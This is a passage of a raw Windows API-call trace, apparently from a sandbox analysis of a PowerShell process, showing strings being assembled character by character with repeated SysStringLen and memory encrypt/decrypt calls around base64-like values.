(param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Ѣ梒⹣㹐씬") returned 0x28 [0242.457] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.457] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ솀⿏늴퇦嶱ᐈ簪⊞) returned 0x28 [0242.457] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ솀⿏늴퇦嶱ᐈ簪⊞) returned 0x28 [0242.457] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.457] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58X梒⹣㹐씬") returned 0x28 [0242.457] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.457] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ풀鞭㽵浛ᐔ䢼街왜⋆) returned 0x28 [0242.457] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ풀鞭㽵浛ᐔ䢼街왜⋆) returned 0x28 [0242.458] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.458] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy⹣㹐씬") returned 0x28 [0242.458] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.458] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩﺀ䭗狿ು⤼֥쎯ㆯ⋒) returned 0x28 [0242.458] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩﺀ䭗狿ು⤼֥쎯ㆯ⋒) returned 0x28 [0242.458] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.458] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1㹐씬") returned 0x28 [0242.458] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.458] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ꧇왠뮁섐쮸␉≼) returned 0x28 [0242.458] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ꧇왠뮁섐쮸␉≼) returned 0x28 [0242.458] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.458] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1b씬") returned 0x28 [0242.458] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.459] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ㪀᳃ᤦ♾棗惦⋪) returned 0x28 [0242.459] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ㪀᳃ᤦ♾棗惦⋪) returned 0x28 [0242.459] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.459] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1bC") returned 0x28 [0242.459] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.459] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲⋶) returned 0x28 [0242.459] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲⋶) returned 0x28 [0242.459] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲⋶) returned 0x28 [0242.460] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲⋶) returned 0x30 [0242.460] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.460] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1bCW憏皼ɿꅇ㽒腮㬡") returned 0x30 [0242.460] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.460] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲珶됱젍싅獒た끊溺⋥) returned 0x30 [0242.460] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲珶됱젍싅獒た끊溺⋥) returned 0x30 [0242.460] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.460] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1bCWf皼ɿꅇ㽒腮㬡") returned 0x30 [0242.467] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.467] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲诶蜳襵ᢨꪆ⒐≉) returned 0x30 [0242.467] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲诶蜳襵ᢨꪆ⒐≉) returned 0x30 [0242.468] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.468] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1bCWfoɿꅇ㽒腮㬡") returned 0x30 [0242.468] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.468] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲췶㧲盃儘㿁Ꜷ槡褯⋪) returned 0x30 [0242.468] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲췶㧲盃儘㿁Ꜷ槡褯⋪) returned 0x30 [0242.468] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.468] SysStringLen (param_1="axiVDtEPRVkjPjZnc+fFhr9g9BNJFW0EY58Xy1bCWfo=ꅇ㽒腮㬡") returned 0x30 [0242.468] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0242.468] EtwEventActivityIdControl () returned 0x0 [0242.468] EtwEventActivityIdControl () returned 0x0 [0242.468] EtwEventActivityIdControl () returned 0x0 [0242.469] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.469] EtwEventActivityIdControl () returned 0x0 [0242.469] EtwEventActivityIdControl () returned 0x0 [0242.470] EtwEventActivityIdControl () returned 0x0 [0242.470] SysStringLen (param_1="") returned 0x8 [0242.470] SysStringLen (param_1="N") returned 0x8 [0242.470] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.471] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.471] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.471] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.471] SysStringLen (param_1="ND") returned 0x8 [0242.471] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.471] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.471] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.471] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.471] SysStringLen (param_1="NDZ") returned 0x8 [0242.471] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.471] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.471] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.471] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.471] SysStringLen (param_1="NDZl") returned 0x8 [0242.472] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.472] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.472] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.472] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.472] SysStringLen (param_1="NDZlO") returned 0x8 [0242.472] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.472] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.472] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.472] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.472] SysStringLen (param_1="NDZlOD") returned 0x8 [0242.472] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.472] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.472] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.472] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.473] SysStringLen (param_1="NDZlODR") returned 0x8 [0242.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.473] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.473] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.473] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.473] SysStringLen (param_1="NDZlODRm") returned 0x8 [0242.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0242.474] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.474] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.474] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.474] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.475] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.475] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.475] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.475] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0242.475] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.475] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.475] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0242.475] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.475] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.476] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0242.476] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.476] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.476] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0242.476] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.476] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.476] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0242.476] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.477] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.477] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0242.477] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0242.478] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.478] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0242.478] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.478] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.478] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0242.478] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.478] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0242.479] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.479] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0242.479] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.479] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0242.479] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.480] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.480] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0242.480] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.480] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.480] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0242.480] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.480] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.481] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0242.481] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0242.481] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.481] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0242.481] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.482] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.482] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0242.482] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.482] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.482] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0242.482] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.483] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.483] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.483] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0242.483] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.483] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.483] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.483] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.483] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0242.483] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.483] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.483] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.483] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.483] SysStringLen 